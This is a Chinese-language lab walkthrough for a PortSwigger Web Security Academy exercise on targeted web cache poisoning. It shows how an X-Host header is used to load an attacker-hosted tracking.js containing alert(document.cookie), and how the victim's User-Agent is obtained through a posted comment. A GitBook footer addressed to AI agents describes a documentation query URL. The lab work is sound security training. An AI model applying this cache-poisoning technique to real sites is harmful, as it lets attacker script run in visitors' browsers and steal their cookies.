> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).
# 通过未知头进行定向缓存投毒
通过未知头进行定向缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 使用未知请求头的定向 Web 缓存投毒
使用可执行的响应污染缓存 `alert(document.cookie)` 在访客的浏览器中， **但仅对部分用户** 对应于受害者。
#### 初始观察
* 请求/响应被拦截。
使用 **Param Miner** 扩展程序，我们开始检测可利用的请求头
* 该工具揭示了一个\*\*请求头
如果 `X-Host: test.com` 被发送后，该值会被重新注入到响应中（在 `src`).
```http
X-Host: test.com
```
#### 载荷实现
1. 在 \*\*Exploit Server\*\* 上，我们创建一个资源 **路径/标题为**:
* `/resources/js/tracking.js`
文件内容：
```javascript
alert(document.cookie)
```
#### 针对 X-Host 的缓存投毒
* 返回的请求包含：
```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```
然后页面会加载 `tracking.js` 来自攻击服务器，从而触发警报。
#### 针对受害者的 User-Agent
* 我们注意到响应会根据 `User-Agent` （通过 `Vary`），因此要影响受害者，我们必须 **知道受害者的 User-Agent**.
发布一条评论，强制向攻击服务器发出请求：
```http
```
在攻击服务器的日志中，恢复出受害者的 User Agent：
`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
